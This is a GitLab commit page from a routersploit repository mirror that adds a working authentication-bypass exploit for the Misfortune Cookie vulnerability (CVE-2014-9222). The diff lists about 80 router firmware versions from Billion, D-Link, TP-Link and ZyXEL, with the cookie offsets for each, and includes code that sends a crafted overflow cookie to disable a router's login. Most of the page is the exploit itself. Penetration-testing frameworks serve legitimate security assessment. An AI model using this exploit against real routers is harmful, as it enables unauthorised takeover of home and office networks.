Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
11186a54
Commit
11186a54
authored
Apr 27, 2016
by
Milad Doorbash
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Authentication Bypass Exploit
parent
354c0a8a
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
144 additions
and
4 deletions
+144
-4
misfortune_cookie.py
routersploit/modules/exploits/multi/misfortune_cookie.py
+144
-4
No files found.
routersploit/modules/exploits/multi/misfortune_cookie.py
View file @
11186a54
...
...
@@ -21,23 +21,163 @@ class Exploit(exploits.Exploit):
'Check Point <www.checkpoint.com>'
,
# vulnerability discovery
'Jan Trencansky'
,
# proof of concept exploit
'Marcin Bury <marcin.bury@reverse-shell.com>'
,
# routersploit module
'Milad Doorbash <milad.doorbash@gmail.com>'
# authentication bypass exploit
],
'references'
:
[
'http://mis.fortunecook.ie/'
'http://mis.fortunecook.ie/'
,
'http://embedsec.systems/embedded-device-security/2015/02/16/Misfortune-Cookie-CVE-2014-9222-Demystified.html'
,
'http://piotrbania.com/all/articles/tplink_patch'
,
'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf'
],
'targets'
:
[
'multi'
]
}
firmwares
=
[
[
"Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1"
,
107367693
,
13
],
# 0x803D5A79 # tested
[
"Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C)"
,
107369694
,
13
],
# 0x8032204d # ----------
[
"Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C)"
,
107369694
,
13
],
# 0x8032204d # ----------
[
"Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6"
,
107369545
,
9
],
# 0x803ec2ad # ----------
[
"Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0"
,
107371218
,
21
],
# 0x803c53e5 # ----------
[
"Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0"
,
107366366
,
25
],
# 0x8038a6e1 # ----------
[
"Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0"
,
107371453
,
9
],
# 0x803b3a51 # ----------
[
"Billion BiPAC 5200GR4 2.11.91.0(RE2.C29)3.11.11.52"
,
107367690
,
21
],
# 0x803D8A51 # tested
[
"Billion BiPAC 5200S 2.10.5.0 (UE0.C2C) 3.6.0.0"
,
107368270
,
1
],
# 0x8034b109 # ----------
[
"Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0"
,
107371378
,
37
],
# 0x8040587d # ----------
[
"Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22"
,
107371218
,
13
],
# 0x803c49d5 # ----------
[
"D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL"
,
107368902
,
25
],
# 0x803fea01 # tested
[
"D-Link DSL-2600U Z1 DSL-2600U HWZ1"
,
107366496
,
13
],
# 0x8040637d # ----------
[
"D-Link DSL-2600U Z2 V1.08_ras"
,
107360133
,
20
],
# 0x803389B0 # ----------
[
"TP-Link TD-8616 V2 TD-8616_v2_080513"
,
107371483
,
21
],
# 0x80397055 # ----------
[
"TP-Link TD-8816 V4 TD-8816_100528_Russia"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8816 V4 TD-8816_V4_100524"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8816 V5 TD-8816_100528_Russia"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8816 V5 TD-8816_V5_100524"
,
107369790
,
17
],
# 0x803ae0b1 # tested
[
"TP-Link TD-8816 V5 TD-8816_V5_100903"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8816 V6 TD-8816_V6_100907"
,
107371426
,
17
],
# 0x803c6e09 # ----------
[
"TP-Link TD-8816 V7 TD-8816_V7_111103"
,
107371161
,
1
],
# 0x803e1bd5 # ----------
[
"TP-Link TD-8816 V7 TD-8816_V7_130204"
,
107370211
,
5
],
# 0x80400c85 # ----------
[
"TP-Link TD-8817 V5 TD-8817_V5_100524"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8817 V5 TD-8817_V5_100702_TR"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8817 V5 TD-8817_V5_100903"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8817 V6 TD-8817_V6_100907"
,
107369788
,
1
],
# 0x803b6e09 # ----------
[
"TP-Link TD-8817 V6 TD-8817_V6_101221"
,
107369788
,
1
],
# 0x803b6e09 # ----------
[
"TP-Link TD-8817 V7 TD-8817_V7_110826"
,
107369522
,
25
],
# 0x803d1bd5 # ----------
[
"TP-Link TD-8817 V7 TD-8817_V7_130217"
,
107369316
,
21
],
# 0x80407625 # ----------
[
"TP-Link TD-8817 V7 TD-8817_v7_120509"
,
107369321
,
9
],
# 0x803fbcc5 # tested
[
"TP-Link TD-8817 V8 TD-8817_V8_140311"
,
107351277
,
20
],
# 0x8024E148 # tested
[
"TP-Link TD-8820 V3 TD-8820_V3_091223"
,
107369768
,
17
],
# 0x80397E69 # tested
[
"TP-Link TD-8840T V1 TD-8840T_080520"
,
107369845
,
5
],
# 0x80387055 # ----------
[
"TP-Link TD-8840T V2 TD-8840T_V2_100525"
,
107369790
,
17
],
# 0x803ae0b1 # tested
[
"TP-Link TD-8840T V2 TD-8840T_V2_100702_TR"
,
107369790
,
17
],
# 0x803ae0b1 # ----------
[
"TP-Link TD-8840T V2 TD-8840T_v2_090609"
,
107369570
,
1
],
# 0x803c65d5 # ----------
[
"TP-Link TD-8840T V3 TD-8840T_V3_101208"
,
107369766
,
17
],
#0x803c3e89 # tested
[
"TP-Link TD-8840T V3 TD-8840T_V3_110221"
,
107369764
,
5
],
# 0x803d1a09 # ----------
[
"TP-Link TD-8840T V3 TD-8840T_V3_120531"
,
107369688
,
17
],
# 0x803fed35 # ----------
[
"TP-Link TD-W8101G V1 TD-W8101G_090107"
,
107367772
,
37
],
# 0x803bf701 # ----------
[
"TP-Link TD-W8101G V1 TD-W8101G_090107"
,
107367808
,
21
],
# 0x803e5b6d # ----------
[
"TP-Link TD-W8101G V2 TD-W8101G_V2_100819"
,
107367751
,
21
],
# 0x803dc701 # ----------
[
"TP-Link TD-W8101G V2 TD-W8101G_V2_101015_TR"
,
107367749
,
13
],
# 0x803e1829 # ----------
[
"TP-Link TD-W8101G V2 TD-W8101G_V2_101101"
,
107367749
,
13
],
# 0x803e1829 # ----------
[
"TP-Link TD-W8101G V3 TD-W8101G_V3_110119"
,
107367765
,
25
],
# 0x804bb941 # ----------
[
"TP-Link TD-W8101G V3 TD-W8101G_V3_120213"
,
107367052
,
25
],
# 0x804e1ff9 # ----------
[
"TP-Link TD-W8101G V3 TD-W8101G_V3_120604"
,
107365835
,
1
],
# 0x804f16a9 # ----------
[
"TP-Link TD-W8151N V3 TD-W8151N_V3_120530"
,
107353867
,
24
],
# 0x8034F3A4 # tested
[
"TP-Link TD-W8901G V1 TD-W8901G_080522"
,
107367787
,
21
],
# 0x803AB30D # tested
[
"TP-Link TD-W8901G V1,2 TD-W8901G_080522"
,
107368013
,
5
],
# 0x803AB30D # ----------
[
"TP-Link TD-W8901G V2 TD-W8901G_090113_Turkish"
,
107368013
,
5
],
# 0x803AB30D # ----------
[
"TP-Link TD-W8901G V3 TD-W8901G(UK)_V3_140512"
,
107367854
,
9
],
# 0x803cf335 # tested
[
"TP-Link TD-W8901G V3 TD-W8901G_V3_100603"
,
107367751
,
21
],
# 0x803DC701 # tested
[
"TP-Link TD-W8901G V3 TD-W8901G_V3_100702_TR"
,
107367751
,
21
],
# 0x803DC701 # tested
[
"TP-Link TD-W8901G V3 TD-W8901G_V3_100901"
,
107367749
,
13
],
# 0x803E1829 # tested
[
"TP-Link TD-W8901G V6 TD-W8901G_V6_110119"
,
107367765
,
25
],
# 0x804BB941 # tested
[
"TP-Link TD-W8901G V6 TD-W8901G_V6_110915"
,
107367682
,
21
],
# 0x804D7CB9 # tested
[
"TP-Link TD-W8901G V6 TD-W8901G_V6_120418"
,
107365835
,
1
],
# 0x804F16A9 # ----------
[
"TP-Link TD-W8901G V6 TD-W8901G_V6_120213"
,
107367052
,
25
],
# 0x804E1FF9 # ----------
[
"TP-Link TD-W8901GB V3 TD-W8901GB_V3_100727"
,
107367756
,
13
],
# 0x803dfbe9 # ----------
[
"TP-Link TD-W8901GB V3 TD-W8901GB_V3_100820"
,
107369393
,
21
],
# 0x803f1719 # ----------
[
"TP-Link TD-W8901N V1 TD-W8901N v1_111211"
,
107353880
,
0
],
# 0x8034FF94 # tested
[
"TP-Link TD-W8951ND V1 TD-TD-W8951ND_V1_101124,100723,100728"
,
107369839
,
25
],
# 0x803d2d61 # tested
[
"TP-Link TD-W8951ND V1 TD-TD-W8951ND_V1_110907"
,
107369876
,
13
],
# 0x803d6ef9 # ----------
[
"TP-Link TD-W8951ND V1 TD-W8951ND_V1_111125"
,
107369876
,
13
],
# 0x803d6ef9 # ----------
[
"TP-Link TD-W8951ND V3 TD-W8951ND_V3.0_110729_FI"
,
107366743
,
21
],
# 0x804ef189 # ----------
[
"TP-Link TD-W8951ND V3 TD-W8951ND_V3_110721"
,
107366743
,
21
],
# 0x804ee049 # ----------
[
"TP-Link TD-W8951ND V3 TD-W8951ND_V3_20110729_FI"
,
107366743
,
21
],
# 0x804ef189 # ----------
[
"TP-Link TD-W8951ND V4 TD-W8951ND_V4_120511"
,
107364759
,
25
],
# 0x80523979 # tested
[
"TP-Link TD-W8951ND V4 TD-W8951ND_V4_120607"
,
107364759
,
13
],
# 0x80524A91 # tested
[
"TP-Link TD-W8951ND V4 TD-W8951ND_v4_120912_FL"
,
107364760
,
21
],
# 0x80523859 # tested
[
"TP-Link TD-W8961NB V1 TD-W8961NB_V1_110107"
,
107369844
,
17
],
# 0x803de3f1 # tested
[
"TP-Link TD-W8961NB V1 TD-W8961NB_V1_110519"
,
107369844
,
17
],
# 0x803de3f1 # ----------
[
"TP-Link TD-W8961NB V2 TD-W8961NB_V2_120319"
,
107367629
,
21
],
# 0x80531859 # ----------
[
"TP-Link TD-W8961NB V2 TD-W8961NB_V2_120823"
,
107366421
,
13
],
# 0x80542e59 # ----------
[
"TP-Link TD-W8961ND V1 TD-W8961ND_V1_100722,101122"
,
107369839
,
25
],
# 0x803D2D61 # tested
[
"TP-Link TD-W8961ND V1 TD-W8961ND_V1_101022_TR"
,
107369839
,
25
],
# 0x803D2D61 # ----------
[
"TP-Link TD-W8961ND V1 TD-W8961ND_V1_111125"
,
107369876
,
13
],
# 0x803D6EF9 # ----------
[
"TP-Link TD-W8961ND V2 TD-W8961ND_V2_120427"
,
107364732
,
25
],
# 0x8052e0e9 # ----------
[
"TP-Link TD-W8961ND V2 TD-W8961ND_V2_120710_UK"
,
107364771
,
37
],
# 0x80523AA9 # ----------
[
"TP-Link TD-W8961ND V2 TD-W8961ND_V2_120723_FI"
,
107364762
,
29
],
# 0x8052B6B1 # ----------
[
"TP-Link TD-W8961ND V3 TD-W8961ND_V3_120524,120808"
,
107353880
,
0
],
# 0x803605B4 # ----------
[
"TP-Link TD-W8961ND V3 TD-W8961ND_V3_120830"
,
107353414
,
36
],
# 0x803605B4 # ----------
[
"ZyXEL P-660R-T3 V3 3.40(BOQ.0)C0"
,
107369567
,
21
],
# 0x803db071 # tested
[
"ZyXEL P-660RU-T3 V3 3.40(BJR.0)C0"
,
107369567
,
21
],
# 0x803db071 # ----------
]
# *---------- means data for this firmware is obtained from other tested firmwares.
# Change to tested state when you test it on a real device.don't forget to double check
# your device model and full firmware version since each firmware needs its unique cookie
# number
def
__init__
(
self
):
print
"""
__ __ _ __ _
|
\
/ (_)___ / _| ___ _ __| |_ _ _ _ __ ___
| |
\
/| | / __| |_ / _
\
| '__| __| | | | '_
\
/ _
\
| | | |
\
__
\
_| (_) | | | |_| |_| | | | | __/
|_| |_|_|___/_|
\
___/|_|
\
__|
\
__,_|_| |_|
\
___|
____ _ _ _____ _ _ _
/ ___|___ ___ | | _(_) ___ | ____|_ ___ __ | | ___ (_) |_
| | / _
\
/ _
\
| |/ / |/ _
\
| _|
\
\
/ / '_
\
| |/ _
\
| | __|
| |__| (_) | (_) | <| | __/ | |___ > <| |_) | | (_) | | |_
\
____
\
___/
\
___/|_|
\
_
\
_|
\
___| |_____/_/
\
_
\
.__/|_|
\
___/|_|
\
__|
|_|
----------------------------------------------------------------------------
"""
for
k
,
i
in
enumerate
(
self
.
firmwares
):
print
str
(
k
+
1
)
+
"- "
+
i
[
0
]
print
print
"[!] set firmware before running exploit."
print
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
firmware
=
exploits
.
Option
(
''
,
'Target device firmware'
)
# target firmware
def
run
(
self
):
if
self
.
check
():
print_success
(
"Device is vulnerable to Misfortune Cookie vulnerability"
)
if
self
.
firmware
==
''
or
re
.
match
(
"^
\
d+?$"
,
self
.
firmware
)
is
None
or
int
(
self
.
firmware
)
<
1
or
int
(
self
.
firmware
)
>
len
(
self
.
firmwares
):
print_error
(
"firmware value must be a number from 1 to {}"
.
format
(
len
(
self
.
firmwares
)))
return
firmware
=
self
.
firmwares
[
int
(
self
.
firmware
)
-
1
]
url
=
sanitize_url
(
"{}:{}"
.
format
(
self
.
target
,
self
.
port
))
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers
=
{
'User-Agent'
:
user_agent
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
,
'Accept-language'
:
'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3'
,
'Connection'
:
'keep-alive'
,
'Accept-Encoding'
:
'gzip, deflate'
,
'Cache-Control'
:
'no-cache'
,
'Cookie'
:
'C'
+
str
(
firmware
[
1
])
+
'='
+
'B'
*
firmware
[
2
]
+
'
\x00
'
}
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
headers
=
headers
)
if
response
is
not
None
and
response
.
status_code
<=
302
:
print_success
(
"Seems good but check "
+
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
+
" using your browser to verify if authentication is disabled or not."
)
return
True
else
:
print_error
(
"
Device seems to be not vulnerable
"
)
print_error
(
"
Failed.
"
)
@mute
def
check
(
self
):
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment